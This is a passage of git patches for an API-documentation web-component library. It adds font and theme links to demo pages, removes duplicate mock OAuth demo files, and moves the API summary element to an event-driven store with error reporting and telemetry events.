+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-security-documentation.html b/demo/api-security-documentation.html
index 61d7b8a..3ad271c 100644
--- a/demo/api-security-documentation.html
+++ b/demo/api-security-documentation.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>AMF Security Documentation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-summary.html b/demo/api-summary.html
index fd47214..634b49d 100644
--- a/demo/api-summary.html
+++ b/demo/api-summary.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Summary</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index b1e5c45..ddf6f20 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -203,6 +203,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     return html`
     <api-navigation
       summary
+      noOverview
       .amf="${this.amf}"
       ?endpointsOpened="${this.endpointsOpened}"
       ?docsOpened="${this.docsOpened}"
@@ -219,7 +220,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     const { componentName, selectedFile } = this;
     return html`
     <header>
-      ${componentName ? html`<h1 class="api-title">${componentName}</h1>` : ''}
+      <a href="./index.html" class="header-link"><arc-icon icon="arrowBack"></arc-icon>Demo index</a>
       <anypoint-dropdown-menu
         aria-label="Activate to select demo API"
         aria-expanded="false"
@@ -235,8 +236,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
           ${this._apiListTemplate()}
         </anypoint-listbox>
       </anypoint-dropdown-menu>
-      <div class="spacer"></div>
-      ${this._viewControlsTemplate()}
+      ${componentName ? html`<h1 class="api-title">${componentName}</h1>` : ''}
     </header>`;
   }
 
diff --git a/demo/lib/ApiStyles.js b/demo/lib/ApiStyles.js
index f2571bb..e38266f 100644
--- a/demo/lib/ApiStyles.js
+++ b/demo/lib/ApiStyles.js
@@ -21,26 +21,6 @@ h1.api-title {
   margin-right: 12px;
 }
 
-body.styled.api.dark {
-  --code-background-color: #f5f7f9;
-  --code-type-boolean-value-color: #F07178;
-  --code-type-number-value-color: #F78C6A;
-  --code-type-text-value-color: #C3E88D;
-  --code-property-value-color: #F07178;
-  --code-operator-value-background-color: transparent;
-}
-
-body.styled.api.dark api-navigation {
-  --http-method-label-get-background-color: rgb(0, 128, 0);
-  --http-method-label-get-color: #fff;
-  --http-method-label-post-background-color: rgb(33, 150, 243);
-  --http-method-label-post-color: #fff;
-  --http-method-label-put-background-color: rgb(255, 165, 0);
-  --http-method-label-put-color: fff;
-  --http-method-label-delete-background-color: rgb(244, 67, 54);
-  --http-method-label-delete-color: fff;
-}
-
 body.styled.api header anypoint-item {
   color: #000;
 }
@@ -51,6 +31,20 @@ body.styled.api header anypoint-dropdown-menu {
   --anypoint-dropdown-menu-label-color: #000;
   --anypoint-dropdown-menu-background-color: #fff;
 }
+
+.header-link {
+  margin: 0 8px;
+  color: var(--link-color);
+  display: flex;
+  align-items: center;
+  font-size: 1.2rem;
+}
+
+@media (prefers-color-scheme: dark) {
+  body.styled.api header {
+    background-color: var(--secondary-background-color);
+  }
+}
 `;
 try {
   // @ts-ignore
diff --git a/demo/oauth-authorize copy.html b/demo/oauth-authorize copy.html
deleted file mode 100644
index c5bd5a7..0000000
--- a/demo/oauth-authorize copy.html	
+++ /dev/null
@@ -1,83 +0,0 @@
-<!doctype html>
-<html lang="en-GB">
-<head>
-  <meta charset="utf-8">
-  <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
-  <link rel="preload" href="https://fonts.googleapis.com/css?family=Roboto+Mono:400,700|Roboto:400,300,300italic,400italic,500,500italic,700,700italic" as="style" crossorigin="anonymous">
-  <title>Demo log in</title>
-
-  <style>
-    html,
-    body {
-      height: 100vh;
-      margin: 0;
-      padding: 0;
-    }
-
-    html{
-      background-color: #fff;
-      -webkit-text-size-adjust: 100%;
-      -moz-text-size-adjust: 100%;
-      -ms-text-size-adjust: 100%;
-      text-size-adjust: 100%
-    }
-    body {
-      display: flex;
-      flex-direction: column;
-      align-items: center;
-      justify-content: center;
-      -webkit-font-smoothing: antialiased;
-      -moz-osx-font-smoothing: grayscale;
-      text-rendering: optimizeLegibility;
-      font-size: 16px;
-      font-family: Roboto,sans-serif;
-      font-weight: 400;
-    }
-
-    .login {
-      width: 600px;
-      margin: 0 auto;
-    }
-
-    html {
-      --primary-color:  #00A2DF;
-      --accent-color:  rgb(33, 150, 243);
-      --error-color: #d1344e;
-      --anypoint-color-primary: #00a2df;
-      --anypoint-color-tertiary: #fff;
-    }
-  </style>
-  <link rel="stylesheet" crossorigin="anonymous" href="https://fonts.googleapis.com/css?family=Roboto+Mono:400,700|Roboto:400,300,300italic,400italic,500,500italic,700,700italic">
-</head>
-<body>
-  <section class="login">
-    <form autocomplete="on" method="post">
-      <h1>Demo log in</h1>
-      <p>Log in using any username and password to authorize Authorization Method component</p>
-      <anypoint-input
-        type="email"
-        name="email"
-        required
-        autovalidate
-        autocomplete="on"
-        outlined
-        invalidMessage="Email is required"
-      >
-        <label slot="label">Email</label>
-      </anypoint-input>
-      <anypoint-masked-input
-        name="password"
-        required
-        autoValidate
-        autocomplete="on"
-        outlined
-        invalidMessage="Password is required"
-      >
-        <label slot="label">Password</label>
-      </anypoint-masked-input>
-      <anypoint-button class="login-button" emphasis="high">Authorize</anypoint-button>
-    </form>
-  </section>
-  <script type="module" src="oauth-authorize.js"></script>
-</body>
-</html>
diff --git a/demo/oauth-authorize copy.js b/demo/oauth-authorize copy.js
deleted file mode 100644
index 4713c55..0000000
--- a/demo/oauth-authorize copy.js	
+++ /dev/null
@@ -1,31 +0,0 @@
-import '@anypoint-web-components/anypoint-input/anypoint-input.js';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-input/anypoint-masked-input.js';
-
-function setupFormAction() {
-  const u = new URL(window.location.href)
-  const state = u.searchParams.get('state');
-  const redirectUri = decodeURIComponent(u.searchParams.get('redirect_uri'));
-  let formUrl = redirectUri;
-  formUrl += `#access_token=MyMzFjNTk2NTk4ZTYyZGI3`;
-  formUrl += `&state=${state}`;
-  const form = document.querySelector('form');
-  form.action = formUrl;
-}
-
-function loginHandler() {
-  const form = document.querySelector('form');
-  window.location.assign(form.action);
-}
-
-function addButtonAction() {
-  const button = document.querySelector('.login-button');
-  button.addEventListener('click', loginHandler);
-}
-
-function initialize() {
-  setupFormAction();
-  addButtonAction();
-}
-
-initialize();
diff --git a/demo/request-editor.html b/demo/request-editor.html
index 72c9852..cafdc9d 100644
--- a/demo/request-editor.html
+++ b/demo/request-editor.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>api-request-editor</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/server-selector.html b/demo/server-selector.html
index 7754662..856de44 100644
--- a/demo/server-selector.html
+++ b/demo/server-selector.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>api-server-selector</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/styles/console-theme.css b/demo/styles/console-theme.css
index 6b1949e..bcf385b 100644
--- a/demo/styles/console-theme.css
+++ b/demo/styles/console-theme.css
@@ -43,6 +43,8 @@ body {
   --api-navigation-list-item-selected-color: #000;
 
   --code-background-color: #f5f7f9;
+  --api-navigation-list-item-selected-icon-color: var(--primary-color);
+  --anypoint-icon-button-emphasis-low-color: var(--primary-color);
 }
 
 @media (prefers-color-scheme: dark) {
diff --git a/src/elements/styles/Editor.styles.js b/src/elements/styles/Editor.styles.js
index 0be87d5..62187e4 100644
--- a/src/elements/styles/Editor.styles.js
+++ b/src/elements/styles/Editor.styles.js
@@ -57,7 +57,7 @@ api-url-editor {
   margin: var(--arc-font-subhead-margin, 0.83em 8px);
   letter-spacing: var(--arc-font-subhead-letter-spacing, initial);
   font-size: var(--arc-font-subhead-font-size, 20px);
-  font-weight: var(--arc-font-subhead-font-weight, 200);
+  font-weight: var(--arc-font-subhead-font-weight, 400);
   line-height: var(--arc-font-subhead-line-height);
 }
 

From 0d55bb9b234b68b4f4d2201f02f2885b14418896 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Fri, 15 Oct 2021 02:28:27 -0700
Subject: [PATCH 26/36] chore: migrating summary element to use the store

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |   9 +
 demo/lib/AmfDemoBase.js                       |  16 +-
 index.d.ts                                    |   9 +-
 src/elements/ApiDocumentationBase.d.ts        |   3 +-
 src/elements/ApiDocumentationBase.js          |  30 ++-
 src/elements/ApiSummaryElement.d.ts           |  39 +++-
 src/elements/ApiSummaryElement.js             | 131 ++++++-----
 src/events/ApiEvents.js                       |   2 -
 src/events/BaseEvents.d.ts                    |  14 ++
 src/events/BaseEvents.js                      |  21 +-
 src/events/EventTypes.d.ts                    |  20 ++
 src/events/EventTypes.js                      |  18 +-
 src/events/Events.d.ts                        |   6 +
 src/events/Events.js                          |   7 +-
 src/events/ReportingEvents.d.ts               |  19 ++
 src/events/ReportingEvents.js                 |  25 +++
 src/events/RequestEvents.d.ts                 |  13 +-
 src/events/ServerEvents.d.ts                  |   8 +
 src/events/ServerEvents.js                    |  14 ++
 src/events/StoreEvents.d.ts                   |   9 +
 src/events/StoreEvents.js                     |  17 ++
 src/events/TelemetryEvents.d.ts               |  87 ++++++++
 src/events/TelemetryEvents.js                 |  72 +++++++
 src/store/AmfGraphStore.d.ts                  |   6 +-
 src/store/AmfGraphStore.js                    |   8 +-
 src/store/AmfStore.js                         |  34 ++-
 src/store/mixins/AmfStoreDomEventsMixin.d.ts  |   9 +
 src/store/mixins/AmfStoreDomEventsMixin.js    |   2 +
 src/types.d.ts                                |  22 --
 .../elements/ApiSchemaDocumentElement.test.js |   2 +-
 test/elements/ApiSummaryElement.test.js       |  71 +++---
 test/events/EventTypes.test.js                |  79 +++++++
 test/events/ReportingEvents.test.js           |  57 +++++
 test/events/StoreEvents.test.js               |  26 +++
 test/events/TelemetryEvents.test.js           | 204 ++++++++++++++++++
 35 files changed, 961 insertions(+), 148 deletions(-)
 create mode 100644 src/events/ReportingEvents.d.ts
 create mode 100644 src/events/ReportingEvents.js
 create mode 100644 src/events/StoreEvents.d.ts
 create mode 100644 src/events/StoreEvents.js
 create mode 100644 src/events/TelemetryEvents.d.ts
 create mode 100644 src/events/TelemetryEvents.js
 create mode 100644 test/events/ReportingEvents.test.js
 create mode 100644 test/events/StoreEvents.test.js
 create mode 100644 test/events/TelemetryEvents.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index cafd6bf..4086f58 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -4,10 +4,14 @@
     "amfstoreendpointbypath",
     "amfstoreendpointget",
     "amfstoreendpointlist",
+    "apierror",
     "apinavigate",
     "apirequest",
     "apiresponse",
     "apiserverchanged",
+    "apistorechange",
+    "apistoregraphchange",
+    "apistoreserverquery",
     "Applian",
     "Arrable",
     "contentinfo",
@@ -29,6 +33,11 @@
     "serverscountchanged",
     "signedup",
     "stevetest",
+    "telemetryevent",
+    "telemetryexception",
+    "telemetryscreenview",
+    "telemetrysocial",
+    "telemetrytiming",
     "Tryit",
     "Unionable",
     "xone"
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index ddf6f20..6fc9c6b 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -39,6 +39,9 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
   constructor() {
     super();
     this.initObservableProperties(["initialized", "loaded", 'selectedFile']);
+    this.store = new DomEventsAmfStore(undefined, window);
+    this.store.listen();
+
     this.loaded = false;
     this.initialized = false;
     this.renderViewControls = true;
@@ -159,15 +162,12 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
   async _loadFile(file) {
     this.loaded = false;
     const response = await fetch(`./${file}`);
-    const data = await response.json();
-    this.amf = data;
-    if (this.store) {
-      // @ts-ignore
-      this.store.unlisten();
+    let data = await response.json();
+    if (Array.isArray(data)) {
+      [data] = data;
     }
-    this.store = new DomEventsAmfStore(this.amf);
-    // @ts-ignore
-    this.store.listen();
+    this.amf = data;
+    this.store.amf = data;
     this.loaded = true;
   }
 
diff --git a/index.d.ts b/index.d.ts
index 78d589b..d38708d 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -22,8 +22,6 @@ export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurit
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement';
 export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement.js';
-export * from './src/events/EventTypes';
-export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
 export * as UrlLib from './src/lib/UrlUtils';
 export * as Utils from './src/lib/Utils';
@@ -39,3 +37,10 @@ export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator';
 export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator';
 export { ApiSchemaValues } from './src/schema/ApiSchemaValues';
 export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator';
+export * from './src/events/EventTypes';
+export * from './src/events/Events';
+export { ApiNavigationEventDetail } from './src/events/NavigationEvents';
+export { ReportingErrorEventDetail } from './src/events/ReportingEvents';
+export { AbortRequestEvent, ApiRequestEvent, ApiResponseEvent, AbortRequestEventDetail } from './src/events/RequestEvents';
+export { ServerChangeEvent, ServerChangeEventDetail, ServerCountChangeEvent, ServerCountChangeEventDetail } from './src/events/ServerEvents';
+export { TelemetryCustomMetric, TelemetryCustomValue, TelemetryDetail, TelemetryEventDetail, TelemetryExceptionDetail, TelemetryScreenViewDetail, TelemetrySocialDetail, TelemetryTimingDetail } from './src/events/TelemetryEvents';
diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts
index a3408e4..68a1841 100644
--- a/src/elements/ApiDocumentationBase.d.ts
+++ b/src/elements/ApiDocumentationBase.d.ts
@@ -1,4 +1,5 @@
 import { LitElement, TemplateResult } from 'lit-element';
+import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
 import { ApiParameter, ApiCustomDomainProperty, ApiExample } from '../helpers/api';
 import { DomainElement } from '../helpers/amf';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
@@ -26,7 +27,7 @@ export declare const evaluateExample: unique symbol;
 /**
  * A base class for the documentation components with common templates and functions.
  */
-export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
+export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitElement)) {
   /** 
    * The domain id of the object to render.
    * @attribute
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index 5a576c2..441e3e8 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -3,6 +3,7 @@
 import { LitElement, html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
+import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
 import '@anypoint-web-components/anypoint-button/anypoint-button.js';
 import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
@@ -10,6 +11,7 @@ import '@advanced-rest-client/highlight/arc-marked.js';
 import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
+import { EventTypes } from '../events/EventTypes.js';
 import '../../api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
@@ -37,11 +39,12 @@ export const exampleTemplate = Symbol('exampleTemplate');
 export const examplesValue = Symbol('examplesValue');
 export const evaluateExamples = Symbol('evaluateExamples');
 export const evaluateExample = Symbol('evaluateExample');
+export const graphChangeHandler = Symbol('graphChangeHandler');
 
 /**
  * A base class for the documentation components with common templates and functions.
  */
-export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
+export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitElement)) {
   /** 
    * @returns {string|undefined} The domain id of the object to render.
    */
@@ -113,6 +116,8 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
      */
     this[examplesValue] = undefined;
     this[serializerValue] = new AmfSerializer();
+
+    this[graphChangeHandler] = this[graphChangeHandler].bind(this);
   }
 
   /**
@@ -138,6 +143,29 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
     }
   }
 
+  /**
+     * @param {EventTarget} node
+     */
+  _attachListeners(node) {
+    node.addEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
+    super._attachListeners(node);
+  }
+
+  /**
+   * @param {EventTarget} node
+   */
+  _detachListeners(node) {
+    node.removeEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
+    super._detachListeners(node);
+  }
+
+  /**
+   * Handler for the event dispatched by the store when the graph model change.
+   */
+  [graphChangeHandler]() {
+    this[processDebounce]()
+  }
+
   /**
    * Calls the `queryGraph()` function in a debouncer.
    */
diff --git a/src/elements/ApiSummaryElement.d.ts b/src/elements/ApiSummaryElement.d.ts
index 09b8dc7..e2d304f 100644
--- a/src/elements/ApiSummaryElement.d.ts
+++ b/src/elements/ApiSummaryElement.d.ts
@@ -2,13 +2,15 @@ import { TemplateResult } from 'lit-element';
 import { ApiSummary, ApiServer } from '../helpers/api';
 import { AsyncApi, WebApi } from '../helpers/amf';
 import { ApiDocumentationBase } from './ApiDocumentationBase';
-import { ApiSummaryEndpoint, ApiSummaryOperation } from '../types';
+import { ApiEndPointWithOperationsListItem, ApiOperationListItem } from '../types';
 
 export const summaryValue: unique symbol;
 export const serversValue: unique symbol;
-export const processEndpoints: unique symbol;
 export const endpointsValue: unique symbol;
-export const endpointOperations: unique symbol;
+export const querySummary: unique symbol;
+export const processSummary: unique symbol;
+export const queryServers: unique symbol;
+export const queryEndpoints: unique symbol;
 export const isAsyncValue: unique symbol;
 export const baseUriValue: unique symbol;
 export const navigateHandler: unique symbol;
@@ -61,15 +63,32 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   protocols: string[];
   [summaryValue]: ApiSummary;
   [serversValue]: ApiServer[];
-  [endpointsValue]: ApiSummaryEndpoint[];
+  [endpointsValue]: ApiEndPointWithOperationsListItem[];
   [isAsyncValue]: boolean;
   constructor();
   /**
    * Queries the graph store for the API data.
    */
   processGraph(): Promise<void>;
-  [processEndpoints](webApi: AsyncApi | WebApi): void;
-  [endpointOperations](endpoint): ApiSummaryOperation[]|undefined;
+  /**
+   * Queries the API store for the API summary object.
+   */
+  [querySummary](): Promise<void>;
+
+  /**
+   * Queries the API store for the API summary object.
+   */
+  [queryServers](): Promise<void>;
+
+  /**
+   * Logic executed after the summary is requested from the store.
+   */
+  [processSummary](): Promise<void>;
+
+  /**
+   * Queries the API endpoints and methods.
+   */
+  [queryEndpoints](): Promise<void>;
   [navigateHandler](e: Event): void;
   render(): TemplateResult;
   [titleTemplate](): TemplateResult|string;
@@ -98,8 +117,8 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   [licenseTemplate](): TemplateResult|string;
   [termsOfServiceTemplate](): TemplateResult|string;
   [endpointsTemplate](): TemplateResult|string;
-  [endpointTemplate](item: ApiSummaryEndpoint): TemplateResult;
-  [endpointPathTemplate](item: ApiSummaryEndpoint): TemplateResult;
-  [endpointNameTemplate](item: ApiSummaryEndpoint): TemplateResult|string;
-  [methodTemplate](item: ApiSummaryOperation, endpoint: ApiSummaryEndpoint): TemplateResult;
+  [endpointTemplate](item: ApiEndPointWithOperationsListItem): TemplateResult;
+  [endpointPathTemplate](item: ApiEndPointWithOperationsListItem): TemplateResult;
+  [endpointNameTemplate](item: ApiEndPointWithOperationsListItem): TemplateResult|string;
+  [methodTemplate](item: ApiOperationListItem, endpoint: ApiEndPointWithOperationsListItem): TemplateResult;
 }
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index ea4c051..6af2ebe 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -9,11 +9,18 @@ import commonStyles from './styles/Common.js';
 import { 
   ApiDocumentationBase, 
   descriptionTemplate, 
-  serializerValue,
+  processDebounce,
+  // serializerValue,
 } from './ApiDocumentationBase.js';
 import { sanitizeHTML } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
 import { NavigationEvents } from '../events/NavigationEvents.js';
+import { ApiEvents } from '../events/ApiEvents.js';
+import { ReportingEvents } from '../events/ReportingEvents.js';
+import { TelemetryEvents } from '../events/TelemetryEvents.js';
+import { ServerEvents } from '../events/ServerEvents.js';
+import { EndpointEvents } from '../events/EndpointEvents.js';
+import { ns } from '../helpers/Namespace.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
@@ -23,15 +30,17 @@ import { NavigationEvents } from '../events/NavigationEvents.js';
 /** @typedef {import('../helpers/amf').AsyncApi} AsyncApi */
 /** @typedef {import('../helpers/amf').WebApi} WebApi */
 /** @typedef {import('../helpers/amf').EndPoint} EndPoint */
-/** @typedef {import('../types').ApiSummaryEndpoint} ApiSummaryEndpoint */
-/** @typedef {import('../types').ApiSummaryOperation} ApiSummaryOperation */
 /** @typedef {import('../types').SelectionType} SelectionType */
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../types').ApiOperationListItem} ApiOperationListItem */
 
 export const summaryValue = Symbol('summaryValue');
 export const serversValue = Symbol('serversValue');
-export const processEndpoints = Symbol('computeEndpoints');
 export const endpointsValue = Symbol('endpointsValue');
-export const endpointOperations = Symbol('endpointOperations');
+export const querySummary = Symbol('querySummary');
+export const processSummary = Symbol('processSummary');
+export const queryServers = Symbol('queryServers');
+export const queryEndpoints = Symbol('queryEndpoints');
 export const isAsyncValue = Symbol('isAsyncValue');
 export const baseUriValue = Symbol('baseUriValue');
 export const navigateHandler = Symbol('navigateHandler');
@@ -111,76 +120,81 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     this[summaryValue] = undefined;
     /** @type {ApiServer[]} */
     this[serversValue] = undefined;
-    /** @type {ApiSummaryEndpoint[]} */
+    /** @type {ApiEndPointWithOperationsListItem[]} */
     this[endpointsValue] = undefined;
     /** @type {boolean} */
     this[isAsyncValue] = undefined;
   }
 
+  connectedCallback() {
+    super.connectedCallback();
+    this[processDebounce]();
+  }
+
   /**
    * Queries the graph store for the API data.
    * @returns {Promise<void>}
    */
   async processGraph() {
-    this[endpointsValue] = undefined;
-    this[serversValue] = undefined;
+    await this[querySummary]();
+    await this[queryServers]();
+    await this[queryEndpoints]();
+    await this[processSummary]();
+    this.requestUpdate();
+  }
+
+  /**
+   * Queries the API store for the API summary object.
+   */
+  async [querySummary]() {
     this[summaryValue] = undefined;
-    this[isAsyncValue] = undefined;
-    const { amf } = this;
-    if (!amf) {
-      return;
-    }
-    this[isAsyncValue] = this._isAsyncAPI(amf);
-    const servers = this._getServers();
-    this[serversValue] = Array.isArray(servers) ? servers.map(s => this[serializerValue].server(s)) : undefined;
-    const webApi = this._computeApi(amf);
-    if (!webApi) {
-      return;
+    try {
+      const info = await ApiEvents.summary(this);
+      this[summaryValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API summary data: ${e.message}`, this.localName);
     }
-    const summary = this[serializerValue].apiSummary(webApi);
-    this[summaryValue] = summary;
-    this[processEndpoints](webApi);
-    this.requestUpdate();
   }
 
   /**
-   * @param {AsyncApi | WebApi} webApi
+   * Queries the API store for the API summary object.
    */
-  [processEndpoints](webApi) {
-    if (this.hideToc) {
-      return;
+  async [queryServers]() {
+    this[serversValue] = undefined;
+    try {
+      const info = await ServerEvents.query(this);
+      this[serversValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API servers: ${e.message}`, this.localName);
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint);
-    const endpoints = /** @type EndPoint[] */ (this._ensureArray(webApi[key]));
-    if (!endpoints || !endpoints.length) {
+  }
+
+  /**
+   * Logic executed after the summary is requested from the store.
+   */
+  async [processSummary]() {
+    this[isAsyncValue] = undefined;
+    const { summary } = this;
+    if (!summary) {
       return;
     }
-    const list = endpoints.map((item) => {
-      const result = /** @type ApiSummaryEndpoint */ ({
-        name: this._getValue(item, this.ns.aml.vocabularies.core.name),
-        path: this._getValue(item, this.ns.aml.vocabularies.apiContract.path),
-        id: item['@id'],
-        ops: this[endpointOperations](item),
-      });
-      return result;
-    });
-    this[endpointsValue] = list;
+    this[isAsyncValue] = summary.types.includes(ns.aml.vocabularies.apiContract.AsyncAPI);
   }
 
   /**
-   * @param {EndPoint} endpoint
-   * @returns {ApiSummaryOperation[]|undefined} 
+   * Queries the API endpoints and methods.
    */
-  [endpointOperations](endpoint) {
-    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
-    const so = this._ensureArray(endpoint[key]);
-    if (!so || !so.length) {
-      return undefined;
+  async [queryEndpoints]() {
+    this[endpointsValue] = undefined;
+    try {
+      const info = await EndpointEvents.list(this);
+      this[endpointsValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API endpoints: ${e.message}`, this.localName);
     }
-    return so.map((item) => ({
-        id: item['@id'],
-        method: /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.apiContract.method)),
-      }));
   }
 
   /**
@@ -373,7 +387,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     if (this.hideToc) {
       return '';
     }
-    const endpoints = /** @type {ApiSummaryEndpoint[]} */ (this[endpointsValue]);
+    const endpoints = /** @type {ApiEndPointWithOperationsListItem[]} */ (this[endpointsValue]);
     if (!endpoints || !endpoints.length) {
       return '';
     }
@@ -389,11 +403,12 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   }
 
   /**
-   * @param {ApiSummaryEndpoint} item
+   * @param {ApiEndPointWithOperationsListItem} item
    * @returns {TemplateResult} 
    */
   [endpointTemplate](item) {
-    const ops = item.ops && item.ops.length ? item.ops.map((op) => this[methodTemplate](op, item)) : '';
+    const { operations=[] } = item;
+    const ops = operations.length ? operations.map((op) => this[methodTemplate](op, item)) : '';
     return html`
     <div class="endpoint-item" @click="${this[navigateHandler]}" @keydown="${() => {}}">
       ${item.name ? this[endpointNameTemplate](item) : this[endpointPathTemplate](item)}
@@ -404,7 +419,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   }
 
   /**
-   * @param {ApiSummaryEndpoint} item
+   * @param {ApiEndPointWithOperationsListItem} item
    * @returns {TemplateResult} 
    */
   [endpointPathTemplate](item) {
@@ -419,7 +434,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   }
 
   /**
-   * @param {ApiSummaryEndpoint} item
+   * @param {ApiEndPointWithOperationsListItem} item
    * @returns {TemplateResult|string} 
    */
   [endpointNameTemplate](item) {
@@ -438,8 +453,8 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   }
 
   /**
-   * @param {ApiSummaryOperation} item
-   * @param {ApiSummaryEndpoint} endpoint
+   * @param {ApiOperationListItem} item
+   * @param {ApiEndPointWithOperationsListItem} endpoint
    * @returns {TemplateResult} 
    */
   [methodTemplate](item, endpoint) {
